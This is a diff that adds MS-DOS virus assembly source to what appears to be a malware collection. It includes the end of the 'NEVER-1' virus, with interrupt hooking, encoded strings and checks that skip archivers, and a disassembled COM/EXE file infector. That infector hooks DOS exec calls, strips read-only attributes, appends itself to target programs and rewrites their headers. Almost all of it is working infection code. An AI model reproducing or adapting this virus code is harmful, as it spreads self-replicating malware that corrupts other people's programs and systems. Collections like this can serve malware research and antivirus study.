ds:[di.dcb_date+1],80h ; infected? +get_dcb_fail: pop bx ax + retn + +;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============; + +int_2_bios: push ax bx dx ds + mov al,13h ; int 13h + mov di,offset int_13 +int_2_bios_lp: push cs + pop ds + call get_int ; get int address + mov dx,es + xchg bx,ds:[di] ; swap offsets + cld + scasw + xchg dx,bx + xchg bx,ds:[di] ; swap segments + scasw + mov ds,bx ; DS:DX=new address + call set_int ; set int to DS:DX + cmp al,15h + mov al,15h + jnb int_2_bios_40 ; CY AL=13h + add di,4 + jmp int_2_bios_lp + +int_2_bios_40: mov al,40h + je int_2_bios_lp ; ZR AL=15h else AL=40h, exit + pop ds dx bx ax + retn + +;=====( Read/write header to file )==========================================; + +read_header: mov ah,3fh + cmp ax,0 + org $ - 2 +write_header: mov ah,40h + mov dx,offset header +header_op: mov cx,18h + call call_21_file ; read/write header + jc read_write_err + sub ax,cx +read_write_err: retn + +;=====( Unhook int 24h )=====================================================; + +undo_24: mov al,24h + lds dx,cs:int_24 + call set_int ; unhook int 24h + in al,21h + and al,not 2 ; enable keyboard + out 21h,al + retn + +;=====( Save returns after int 21h call )====================================; + +save_returns: mov ss:[bp.reg_ax],ax + pushf + pop ss:[bp.reg_f] + retn + +;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================; + +is_specialfile: push ax cx si di es + mov al,0 +check_special = byte ptr $ - 1 + or al,al ; Check for special? + jnz it_is_special + call get_psp ; get MCB of current PSP + mov ax,es:[di] ; get 1st 2 letters of name + cmp ax,'RA' ; ARj? + je it_is_special + cmp ax,'HL' ; LHa? + je it_is_special + cmp ax,'KP' ; PKzip? + je it_is_special + mov cx,2 + mov si,offset backup +is_it_mod_bak: push cx di + mov cl,8 + lods byte ptr cs:[si] ; get 'B' or 'M' + xor al,66h + 6h ; decrypt + repne scasb + jne is_it_mod + cmp cl,3 + jb is_it_mod + mov cl,4 +is_ode_ack: lods byte ptr cs:[si] + xor al,66h + 6h + jz is_it_mod ; 0 (done)? + scasb + loope is_ode_ack +is_it_mod: mov si,offset modem + pop di cx + loopne is_it_mod_bak +it_is_special: pop es di si cx ax + retn + +backup: db 'B' xor (66h + 6h) + db 'A' xor (66h + 6h) + db 'C' xor (66h + 6h) + db 'K' xor (66h + 6h) + db 0 xor (66h + 6h) + +modem: db 'M' xor (66h + 6h) + db 'O' xor (66h + 6h) + db 'D' xor (66h + 6h) + db 'E' xor (66h + 6h) + db 'M' xor (66h + 6h) + + +;=====( get current PSP segment )============================================; + +get_psp: push ax bx + mov ah,62h + call call_21 ; get PSP segment + dec bx + mov es,bx ; MCB of current program + mov di,8h ; offset of file name + cld + pop bx ax + retn + +;=====( Get DTA address )====================================================; + +get_dta: mov ah,2fh + call call_21 ; DTA address into ES:BX + push es + pop ds + retn + +call_dos_13: call swap_13 + pushf + call cs:dos_13 + call swap_13 + retn + +call_disk: test dl,80h ; ZF -> Floppy disk (int 40h) + je call_40 + +call_13: pushf + call cs:int_13 + retn + +call_21_file: mov bx,0 +handle = word ptr $ - 2 + +call_21: pushf + push cs + call go_2_21 + retn + +call_40: pushf + call cs:int_40 + retn + +include eng.asm + + db "Time has come to pay (c)1994 NEVER-1",0 + +even + +decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS + mov byte ptr ds:[102h],0e8h ; CALL + jmp file_start + + org decrypt + 150 + +header dw 18h / 2 dup(20cdh) + +file_end: + +work_header dw 18h / 2 dup(?) + +write_buff: db encode_end-encode dup(?) + +int_21_ss dw ? +int_21_sp dw ? + + dw 256 / 2 dup(?) +temp_stack: + +jump_code_13 db 5 dup(?) +jump_code_21 db 5 dup(?) + +int_1 dd ? +int_24 dd ? + +int_13 dd ? +dos_13 dd ? +int_15 dd ? +int_40 dd ? +int_21 dd ? + +new_24: db 3 dup(?) + +push_pop_ret dw ? + +pointer dw ? +disp dw ? +encode_ptr dw ? +encode_enc_ptr dw ? + +key_reg db ? +count_reg db ? +ptr_reg db ? +ptr_reg1 db ? +modify_op db ? + + +origin db ? +inst_count db ? + +disk_buff db 512 dup(?) + +v_end: + + +;=====( Very useful structures )=============================================; + + + +;=====( Memory Control Block structure )=====================================; + +mcb struc +mcb_sig db ? ; 'Z' or 'M' +mcb_owner dw ? ; attribute of owner +mcb_size dw ? ; size of mcb block +mcb_name db 8 dup(?) ; file name of owner +mcb ends + + +;=====( For functions 11h and 12h )==========================================; + + +Directory STRUC +DS_Drive db ? +DS_Name db 8 dup(0) +DS_Ext db 3 dup(0) +DS_Attr db ? +DS_Reserved db 10 dup(0) +DS_Time dw ? +DS_Date dw ? +DS_Start_Clust dw ? +DS_Size dd ? +Directory ENDS + + +;=====( for functions 4eh and 4fh )==========================================; + + +DTA STRUC +DTA_Reserved db 21 dup(0) +DTA_Attr db ? +DTA_Time dw ? +DTA_Date dw ? +DTA_Size dd ? +DTA_Name db 13 dup(0) +DTA ENDS + + +Exe_Header STRUC +EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files +EH_Modulo dw ? ; remainder of file size/512 +EH_Size dw ? ; file size/512 +EH_Reloc dw ? ; Number of relocation items +EH_Size_Header dw ? ; Size of header in paragraphs +EH_Min_Mem dw ? ; Minimum paragraphs needed by file +EH_Max_Mem dw ? ; Maximum paragraphs needed by file +EH_SS dw ? ; Stack segment displacement +EH_SP dw ? ; Stack Pointer +EH_Checksum dw ? ; Checksum, not used +EH_IP dw ? ; Instruction Pointer of Exe file +EH_CS dw ? ; Code segment displacement of .exe +eh_1st_reloc dw ? ; first relocation item +eh_ovl dw ? ; overlay number +Exe_Header ENDS + +Boot_Sector STRUC +bs_Jump db 3 dup(?) +bs_Oem_Name db 8 dup(?) +bs_Bytes_Per_Sector dw ? +bs_Sectors_Per_Cluster db ? +bs_Reserved_Sectors dw ? +bs_FATs db ? ; Number of FATs +bs_Root_Dir_Entries dw ? ; Max number of root dir entries +bs_Sectors dw ? ; number of sectors; small +bs_Media db ? ; Media descriptor byte +bs_Sectors_Per_FAT dw ? +bs_Sectors_Per_Track dw ? +bs_Heads dw ? ; number of heads +bs_Hidden_Sectors dd ? +bs_Huge_Sectors dd ? ; number of sectors; large +bs_Drive_Number db ? +bs_Reserved db ? +bs_Boot_Signature db ? +bs_Volume_ID dd ? +bs_Volume_Label db 11 dup(?) +bs_File_System_Type db 8 dup(?) +Boot_Sector ENDS + + +Partition_Table STRUC +pt_Code db 1beh dup(?) ; partition table code +pt_Status db ? ; 0=non-bootable 80h=bootable +pt_Start_Head db ? +pt_Start_Sector_Track dw ? +pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT +pt_End_Head db ? +pt_End_Sector_Track dw ? +pt_Starting_Abs_Sector dd ? +pt_Number_Sectors dd ? +Partition_Table ENDS + + +int_1_stack STRUC +st_ip dw ? ; offset of next instruction after + ; interrupt +st_cs dw ? ; segment of next instruction +st_flags dw ? ; flags when interrupt was called +int_1_stack ENDS + +;----------------------------------------------------------------------------; +; Dcb description for DOS 3+ ; +; ; +; Offset Size Description ; +; 00h WORD number of file handles referring to this file ; +; 02h WORD file open mode (see AH=3Dh) ; +; bit 15 set if this file opened via FCB ; +; 04h BYTE file attribute ; +; 05h WORD device info word (see AX=4400h) ; +; 07h DWORD pointer to device driver header if character device ; +; else pointer to DOS Drive Parameter Block (see AH=32h) ; +; 0Bh WORD starting cluster of file ; +; 0Dh WORD file time in packed format (see AX=5700h) ; +; 0Fh WORD file date in packed format (see AX=5700h) ; +; 11h DWORD file size ; +; 15h DWORD current offset in file ; +; 19h WORD relative cluster within file of last cluster accessed ; +; 1Bh WORD absolute cluster number of last cluster accessed ; +; 0000h if file never read or written??? ; +; 1Dh WORD number of sector containing directory entry ; +; 1Fh BYTE number of dir entry within sector (byte offset/32) ; +; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ; +; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ; +; 2Fh WORD (SHARE.EXE) network machine number which opened file ; +; 31h WORD PSP segment of file's owner (see AH=26h) ; +; 33h WORD offset within SHARE.EXE code segment of ; +; sharing record (see below) 0000h = none ; +;----------------------------------------------------------------------------; + + + +dcb struc +dcb_users dw ? +dcb_mode dw ? +dcb_attr db ? +dcb_dev_attr dw ? +dcb_drv_addr dd ? +dcb_1st_clst dw ? +dcb_time dw ? +dcb_date dw ? +dcb_size dd ? +dcb_pos dd ? +dcb_last_clst dw ? +dcb_current_clst dw ? +dcb_dir_sec dw ? +dcb_dir_entry db ? +dcb_name db 8 dup(?) +dcb_ext db 3 dup(?) +dcb_useless1 dw ? +dcb_useless2 dw ? +dcb_useless3 dw ? +dcb_psp_seg dw ? +dcb_useless4 dw ? +dcb ends + +bpb STRUC +bpb_Bytes_Per_Sec dw ? +bpb_Sec_Per_Clust db ? +bpb_Reserved_Sectors dw ? +bpb_FATs db ? ; Number of FATs +bpb_Root_Dir_Entries dw ? ; Max number of root dir entries +bpb_Sectors dw ? ; number of sectors; small +bpb_Media db ? ; Media descriptor byte +bpb_Sectors_Per_FAT dw ? +bpb_Sectors_Per_Track dw ? +bpb_Heads dw ? ; number of heads +bpb_Hidden_Sectors dd ? +bpb_Huge_Sectors dd ? ; number of sectors; large +bpb_Drive_Number db ? +bpb_Reserved db ? +bpb_Boot_Signature db ? +bpb_Volume_ID dd ? +bpb_Volume_Label db 11 dup(?) +bpb_File_System_Type db 8 dup(?) +bpb ENDS + + +register struc +reg_es dw ? +reg_ds dw ? +reg_di dw ? +reg_si dw ? +reg_bp dw ? +reg_dx dw ? +reg_cx dw ? +reg_bx dw ? +reg_ax dw ? +reg_f dw ? +register ends + +sys_file struc +sys_next dd ? +sys_strat dw ? +sys_int dw ? +sys_file ends + + + end diff --git a/MSDOS/Virus.MSDOS.Unknown.never.zip b/MSDOS/Virus.MSDOS.Unknown.never.zip new file mode 100644 index 00000000..8d343718 Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.never.zip differ diff --git a/MSDOS/Virus.MSDOS.Unknown.newc.asm b/MSDOS/Virus.MSDOS.Unknown.newc.asm new file mode 100644 index 00000000..8ccee4db --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.newc.asm @@ -0,0 +1,1195 @@ +MCB_type equ 0 +MCB_owner equ 1 +MCB_size equ 3 +data_3e equ 12h +data_4e equ 0 +data_5e equ 2 +data_6e equ 4 +data_7e equ 6 +data_8e equ 8 +data_9e equ 0Ah +data_12e equ 0Eh +data_13e equ 10h +data_14e equ 11h +data_15e equ 12h +data_16e equ 18h +data_17e equ 1Ah +data_18e equ 1Ch +data_19e equ 1Eh +data_20e equ 20h +old_21 equ 2Ah +data_22e equ 2Eh +data_23e equ 30h +data_24e equ 32h +data_25e equ 34h +old_1c equ 36h +data_27e equ 3Ah +data_28e equ 3Ch +data_29e equ 3Eh +data_30e equ 56h +data_31e equ 58h +data_32e equ 5Ah +data_33e equ 5Bh +data_34e equ 5Ch +data_35e equ 5Dh +data_36e equ 5Eh +data_37e equ 5Fh +data_38e equ 62h +data_39e equ 66h +data_40e equ 68h + +newcom segment byte + assume cs:newcom, ds:newcom + + org 100h + +start: jmp start_virus +old_program: mov ah,9 + int 21h ;Display char string at DS:DX + mov ax,4C00h + int 21h ;Terminate with al=return code + db 0,0,0,0,0,0 + db 8,0 + db 92 dup (0) +text db 'Hello virus !$' + +; ---------------------------------------------------------------------------- +; Tu zacina zamotne telo virusu (Offset 180h) +; ---------------------------------------------------------------------------- + db 0, 0 + +run label byte + db 0F4h, 7Ah, 2Ch, 0 + db 0, 0, 7Eh, 0, 0BEh + db 0Ah + +old_bytes: mov dx,170h ;Povodny program 20h byte + mov ah,9 + int 21h + mov ax,4C00h + int 21h + db 20 dup (0) + + db 97h, 0Ch, 0B5h, 7, 97h, 0Ch + db 0B5h, 7, 56h, 1, 0F5h, 6 + db 53h, 0FFh, 0, 0F0h, 5, 0 + db 0F6h, 5Ah, 74h, 17h, 0DEh,0 + db 6Ah, 0, 2Eh, 83h, 3Eh, 0C8h + db 6, 5Ch, 7, 70h, 0, 2Eh + db 83h, 3Eh, 0C8h, 6, 5Ch, 7 + db 70h, 0 + +loc_1: add [bx+si],ax + and [bx+di],al + add [bx+di],al + add [bx+si],al + mov al,1 + add [bx+si],al + adc [bx+si],al + add [bx+di],al + add [bp+si],al + mov [bx+si],ax + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_1: mov ax,[si] + sub ax,0BBh + jc loc_3 ;Jump if carry Set + cmp ax,8 + nop + jc loc_3 ;Jump if carry Set + +loc_2: mov [si],ax + retn + +loc_3: mov ax,9 + jmp short loc_2 ;(01F7) + +; ------------------------------------------------------------------------ +; New Timer interrupt +; ------------------------------------------------------------------------ +new_1c: inc cs:timer_count + jmp dword ptr cs:old_1c + +; ------------------------------------------------------------------------ +nutena_1: jmp dword ptr cs:old_21 +loc_iret: jmp dword ptr ds:old_21 ;A odtial na vir_in_memory + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2: mov ah,40h ;'@' + jmp short loc_4 ;(0218) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_3: mov ah,3Fh ;'?' +loc_4: call sub_6 ;(0224) + jc loc_ret_5 ;Jump if carry Set + cmp ax,cx + +loc_ret_5: retn + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_4: xor al,al ;Zero register + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_5: mov ah,42h ;'B' + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_6: mov bx,cs:data_27e ;(8002:003A=0) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_7: int 21h ;DOS Services ah=function 45h + ; duplicate handle bx, ax=new # + retn + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_8: push bx + push ax + mov bx,cs:data_27e ;(8002:003A=0) + mov ah,45h ;'E' + call sub_7 ;(0229) + jc loc_6 ;Jump if carry Set + mov bx,ax + mov ah,3Eh ;'>' + call sub_7 ;(0229) + jmp short loc_7 ;(0244) +loc_6: clc ;Clear carry flag +loc_7: pop ax + pop bx + retn + + db 0B0h, 3, 0CFh +loc_8: mov ax,1 + push cs + pop es + inc sp + inc sp + sti ;Enable interrupts + stc ;Set carry flag + retf 2 ;Return far +loc_9: mov ax,2Ch + jmp short loc_12 ;(0297) +loc_10: mov al,cs:data_37e ;(8002:005F=0) + xor ah,ah ;Zero register + jmp short loc_12 ;(0297) +loc_11: mov cs:data_37e,cl ;(8002:005F=0) + jmp short loc_12 ;(0297) + +; --------------------------------------------------------------------------- +; New DOS interrupt +; --------------------------------------------------------------------------- +new_21: pushf ;Push flags + cmp ah,4Bh ;Exec ? + je DOS_exec + cmp ah,4Ch ;Exit ? + je DOS_exit + cmp ah,8 ;Standart input to AL ? + je DOS_input + + cmp ah,0C5h ;Virus fun + je loc_12 + cmp ax,0C545h ;Virus fun + je loc_9 + cmp ax,0C607h ;Virus fun + je loc_10 + cmp ax,0C602h ;Virus fun + je loc_11 + cmp ax,0C603h ;Virus fun + je loc_8 + popf ;Pop flags + jmp DOS_return + +loc_12: popf ;Pop flags + sti ;Enable interrupts + stc ;Set carry flag + retf 2 ;Return far + +DOS_input: jmp DOS_input_ + +DOS_exit: cmp byte ptr cs:data_58,2 ;(8002:0C16=0) + jne loc_15 ;Jump if not equal + mov byte ptr cs:data_49,6Fh ;(8002:0BF6=0) 'o' + nop + mov byte ptr cs:data_59,1 ;(8002:0C17=0) + nop +loc_15: + cmp byte ptr cs:data_59,1 ;(8002:0C17=0) + jne loc_16 ;Jump if not equal + cmp al,0 + jne loc_16 ;Jump if not equal + push ax + push cx + push si + push di + push es + push ds + call sub_16 ;(0A60) + call sub_17 ;(0A7A) + call sub_18 ;(0AB0) + pop ds + pop es + pop di + pop si + pop cx + pop ax + mov byte ptr cs:data_58,0 ;(8002:0C16=0) + nop + mov byte ptr cs:data_59,0 ;(8002:0C17=0) + nop +loc_16: + popf ;Pop flags + jmp DOS_return + +DOS_exec: push ax ;Backup AX + xor al,al + xchg al,cs:data_34e ;(8002:005C=0) + or al,al ;Zero ? + pop ax ;Restore AX + jnz DOS_exec_ + popf + jmp DOS_return + +DOS_exec_: push es ;Backup 9x register + push ds + push bp + push di + push si + push dx + push cx + push bx + push ax + mov bp,sp + cli ;Disable interrupts + mov bx,21h + +; shl bx,2 + db 0c1h,0e3h,2 ;Original byte for prev. instr + mov ax,0 + mov es,ax + mov ax,cs:[30h] + mov es:[bx+2],ax + mov ax,cs:[2eh] + mov es:[bx],ax + sti + push cs + pop ds + cmp byte ptr ds:[5ah],0 + je loc_18 + jmp loc_36 + +loc_18: inc byte ptr ds:data_36e ;(8002:005E=0) + push word ptr ss:data_12e[bp] ; (8002:000E=0) + push word ptr ss:data_7e[bp] ;(8002:0006=0) + call sub_9 ;(0605) + lahf ;Load ah from flags + add sp,4 + sahf ;Store ah into flags + jnc loc_19 ;Jump if carry=0 + jmp loc_36 ;(05B4) +loc_19: + xor cx,cx ;Zero register + xor dx,dx ;Zero register + call sub_4 ;(0220) + mov dx,0Ah + mov cx,14h + call sub_3 ;(0216) + jc loc_21 ;Jump if carry Set + mov ax,ds:data_18e ;(8002:001C=0) + mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax + mov cx,dx + mov dx,ax + call sub_4 ;(0220) + mov dx,0 + mov cx,2Ah + call sub_3 ;(0216) + jc loc_23 ;Jump if carry Set + cmp word ptr ds:data_4e,7AF4h ; (8002:0000=0) + jne loc_23 ;Jump if not equal + mov ax,2Ch + cmp byte ptr [bp],0 + jne loc_20 ;Jump if not equal + test byte ptr ds:data_37e,2 ;(8002:005F=0) + dec di + db 6Eh +loc_20: + inc ax + cmp ds:data_5e,ax ;(8002:0002=0) + jae loc_21 ;Jump if above or = + xor cx,cx ;Zero register + xor dx,dx ;Zero register + call sub_4 ;(0220) + mov dx,0Ah + mov cx,20h + call sub_2 ;(0212) + jc loc_21 ;Jump if carry Set + call sub_8 ;(022C) + jnc loc_22 ;Jump if carry=0 +loc_21: + jmp loc_35 ;(05A5) +loc_22: + mov cx,ds:data_6e ;(8002:0004=0) + mov dx,ds:data_7e ;(8002:0006=0) + call sub_4 ;(0220) + xor cx,cx ;Zero register + call sub_2 ;(0212) + jc loc_21 ;Jump if carry Set + call sub_8 ;(022C) + jc loc_21 ;Jump if carry Set + jmp short loc_19 ;(0344) +loc_23: + mov al,2 + mov cx,0FFFFh + mov dx,0FFF8h + call sub_5 ;(0222) + mov dx,0Ah + mov cx,8 + call sub_3 ;(0216) + jc loc_24 ;Jump if carry Set + cmp word ptr ds:data_12e,7AF4h ; (8002:000E=0) + je loc_25 ;Jump if equal + jmp short loc_28 ;(043C) +loc_24: + jmp loc_35 ;(05A5) +loc_25: + cmp byte ptr ds:data_13e,23h ; (8002:0010=0) '#' + jae loc_24 ;Jump if above or = + mov cl,ds:data_14e ;(8002:0011=0) + mov ax,ds:data_9e ;(8002:000A=0) + mov ds:data_7e,ax ;(8002:0006=0) + mov ax,word ptr ds:data_9e+2 ; (8002:000C=0) + sub ax,103h + mov word ptr ds:data_9e+1,ax ; (8002:000B=0) + cmp byte ptr ds:data_13e,9 ;(8002:0010=0) + ja loc_26 ;Jump if above + mov cl,0E9h +loc_26: + mov ds:data_9e,cl ;(8002:000A=0) + xor cx,cx ;Zero register + mov dx,cx + call sub_4 ;(0220) + mov dx,0Ah + mov cx,3 + call sub_2 ;(0212) + jc loc_24 ;Jump if carry Set + call sub_8 ;(022C) + jc loc_24 ;Jump if carry Set + xor cx,cx ;Zero register + mov dx,ds:data_7e ;(8002:0006=0) + call sub_4 ;(0220) + xor cx,cx ;Zero register + call sub_2 ;(0212) + jc loc_27 ;Jump if carry Set + call sub_8 ;(022C) + jc loc_27 ;Jump if carry Set + jmp short loc_23 ;(03C1) +loc_27: + jmp loc_35 ;(05A5) +loc_28: + mov word ptr ds:data_4e,7AF4h ; (8002:0000=0) + mov word ptr ds:data_5e,2Ch ;(8002:0002=0) + mov word ptr ds:data_8e,0ABEh ; (8002:0008=0) + cmp byte ptr [bp],0 + jne loc_27 ;Jump if not equal + test byte ptr ds:data_37e,1 ;(8002:005F=0) + jz loc_27 ;Jump if zero + mov al,2 + xor cx,cx ;Zero register + mov dx,cx + call sub_5 ;(0222) + mov ds:data_6e,dx ;(8002:0004=0) + mov ds:data_7e,ax ;(8002:0006=0) + xor cx,cx ;Zero register + mov dx,cx + call sub_4 ;(0220) + mov dx,0Ah + mov cx,20h + call sub_3 ;(0216) + jc loc_27 ;Jump if carry Set + cmp word ptr ds:data_9e,5A4Dh ; (8002:000A=0) + je loc_29 ;Jump if equal + cmp word ptr ds:data_9e,4D5Ah ; (8002:000A=0) + jne loc_31 ;Jump if not equal +loc_29: + mov byte ptr ds:data_33e,0 ;(8002:005B=0) + mov ax,ds:data_12e ;(8002:000E=0) + mul word ptr ds:data_39e ;(8002:0066=0) ax = data * ax + sub ax,ds:data_7e ;(8002:0006=0) + sbb dx,ds:data_6e ;(8002:0004=0) + jc loc_30 ;Jump if carry Set + mov ax,ds:data_16e ;(8002:0018=0) + mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax + add ax,ds:data_17e ;(8002:001A=0) + mov cx,dx + mov bx,ax + mov ax,ds:data_15e ;(8002:0012=0) + mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax + mov di,ds:data_6e ;(8002:0004=0) + mov si,ds:data_7e ;(8002:0006=0) + add si,0Fh + adc di,0 + and si,0FFF0h + sub si,ax + sbb di,dx + mov dx,cx + mov ax,bx + sub ax,si + sbb dx,di + jc loc_32 ;Jump if carry Set + add si,0DC0h + adc di,0 + sub bx,si + sbb cx,di + jnc loc_32 ;Jump if carry=0 +loc_30: + jmp loc_35 ;(05A5) +loc_31: + mov byte ptr ds:data_33e,1 ;(8002:005B=0) + cmp word ptr ds:data_6e,0 ;(8002:0004=0) + jne loc_30 ;Jump if not equal + cmp word ptr ds:data_7e,20h ;(8002:0006=0) + jbe loc_30 ;Jump if below or = + cmp word ptr ds:data_7e,0F277h ; (8002:0006=0) + jae loc_30 ;Jump if above or = +loc_32: + mov cx,ds:data_6e ;(8002:0004=0) + mov dx,ds:data_7e ;(8002:0006=0) + add dx,0Fh + adc cx,0 + and dx,0FFF0h + call sub_4 ;(0220) + xor dx,dx ;Zero register + mov cx,0BE5h + push word ptr ds:data_37e ;(8002:005F=0) + mov byte ptr ds:data_37e,1 ;(8002:005F=0) + call sub_2 ;(0212) + pop cx + mov ds:data_37e,cl ;(8002:005F=0) + jc loc_30 ;Jump if carry Set + call sub_8 ;(022C) + jc loc_30 ;Jump if carry Set + mov dx,ds:data_6e ;(8002:0004=0) + mov ax,ds:data_7e ;(8002:0006=0) + add ax,0Fh + adc dx,0 + and ax,0FFF0h + div word ptr ds:data_38e ;(8002:0062=0) ax,dxrem=dx:ax/data + mov ds:data_18e,ax ;(8002:001C=0) + cmp byte ptr ds:data_33e,0 ;(8002:005B=0) + je loc_33 ;Jump if equal + mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax + mov byte ptr ds:data_9e,0E9h ; (8002:000A=0) + add ax,557h + mov word ptr ds:data_9e+1,ax ; (8002:000B=0) + jmp short loc_34 ;(0595) +loc_33: + mov ds:data_20e,ax ;(8002:0020=0) + mov word ptr ds:data_19e,55Ah ; (8002:001E=0) + mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax + add ax,0BE5h + adc dx,0 + div word ptr ds:data_39e ;(8002:0066=0) ax,dxrem=dx:ax/data + inc ax + mov ds:data_12e,ax ;(8002:000E=0) + mov word ptr ds:data_9e+2,dx ; (8002:000C=0) + mov ax,ds:data_15e ;(8002:0012=0) + sub ds:data_20e,ax ;(8002:0020=0) + mov si,14h + call sub_1 ;(01EA) + mov si,16h + call sub_1 ;(01EA) +loc_34: + xor cx,cx ;Zero register + mov dx,cx + call sub_4 ;(0220) + mov dx,0Ah + mov cx,20h + call sub_2 ;(0212) +loc_35: + call sub_14 ;(090C) + push word ptr ss:data_12e[bp] ; (8002:000E=0) + push word ptr ss:data_7e[bp] ;(8002:0006=0) + call sub_10 ;(0681) + add sp,4 +loc_36: + mov byte ptr ds:data_34e,0FFh ; (8002:005C=0) + mov ds,ss:data_12e[bp] ;(8002:000E=0) + mov dx,ss:data_7e[bp] ;(8002:0006=0) + call sub_11 ;(07ED) + mov bx,21h + db 0C1h, 0E3h, 2, 0B8h, 0, 0 + db 8Eh, 0C0h, 0FBh, 8Ch, 0C8h, 26h + db 89h, 47h, 2, 0B8h, 0EAh, 0 + db 26h, 89h, 7, 0FAh, 58h, 5Bh + db 59h, 5Ah, 5Eh, 5Fh, 5Dh, 1Fh + db 7, 9Dh + +DOS_return: pushf ;Push flags + push cs + push word ptr cs:data_40e ;(8002:0068=0) + cmp byte ptr cs:data_32e,0 ;(8002:005A=0) + jne loc_38 ;Jump if not equal + iret ;Interrupt return + +loc_38: push bp + mov bp,sp + or word ptr ss:data_7e[bp],100h ; (8002:0006=0) + mov byte ptr cs:data_32e,0 ;(8002:005A=0) + pop bp + iret ;Interrupt return + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_9: push bp + mov bp,sp + push es + push dx + push cx + push bx + push ax + mov ax,3300h + call sub_7 ;(0229) + mov ds:data_35e,dl ;(8002:005D=0) + mov ax,3301h + xor dl,dl ;Zero register + call sub_7 ;(0229) + mov ax,3524h + call sub_7 ;(0229) + mov ds:data_25e,es ;(8002:0034=8002h) + mov ds:data_24e,bx ;(8002:0032=0) + mov dx,0C7h + mov ax,2524h + call sub_7 ;(0229) + mov ax,4300h + push ds + lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr + call sub_7 ;(0229) + pop ds + jc loc_41 ;Jump if carry Set + mov ds:data_31e,cl ;(8002:0058=0) + test cl,1 + jz loc_39 ;Jump if zero + mov ax,4301h + push ds + xor cx,cx ;Zero register + lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr + call sub_7 ;(0229) + pop ds + jc loc_41 ;Jump if carry Set +loc_39: + mov ax,3D02h + push ds + lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr + call sub_7 ;(0229) + pop ds + jc loc_40 ;Jump if carry Set + mov ds:data_27e,ax ;(8002:003A=0) + mov ax,5700h + call sub_6 ;(0224) + mov ds:data_28e,cx ;(8002:003C=0) + mov ds:data_29e,dx ;(8002:003E=0) + pop ax + pop bx + pop cx + pop dx + pop es + pop bp + clc ;Clear carry flag + retn + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_10: + push bp + mov bp,sp + push es + push dx + push cx + push bx + push ax + mov cx,ds:data_28e ;(8002:003C=0) + mov dx,ds:data_29e ;(8002:003E=0) + mov ax,5701h + call sub_6 ;(0224) + mov ah,3Eh ;'>' + call sub_6 ;(0224) +loc_40: + mov cl,ds:data_31e ;(8002:0058=0) + xor cl,20h ;' ' + and cl,3Fh ;'?' + test cl,21h ;'!' + jz loc_41 ;Jump if zero + mov ax,4301h + push ds + xor ch,ch ;Zero register + mov cl,ds:data_31e ;(8002:0058=0) + lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr + call sub_7 + pop ds +loc_41: + mov ax,2524h + push ds + lds dx,dword ptr ds:data_24e 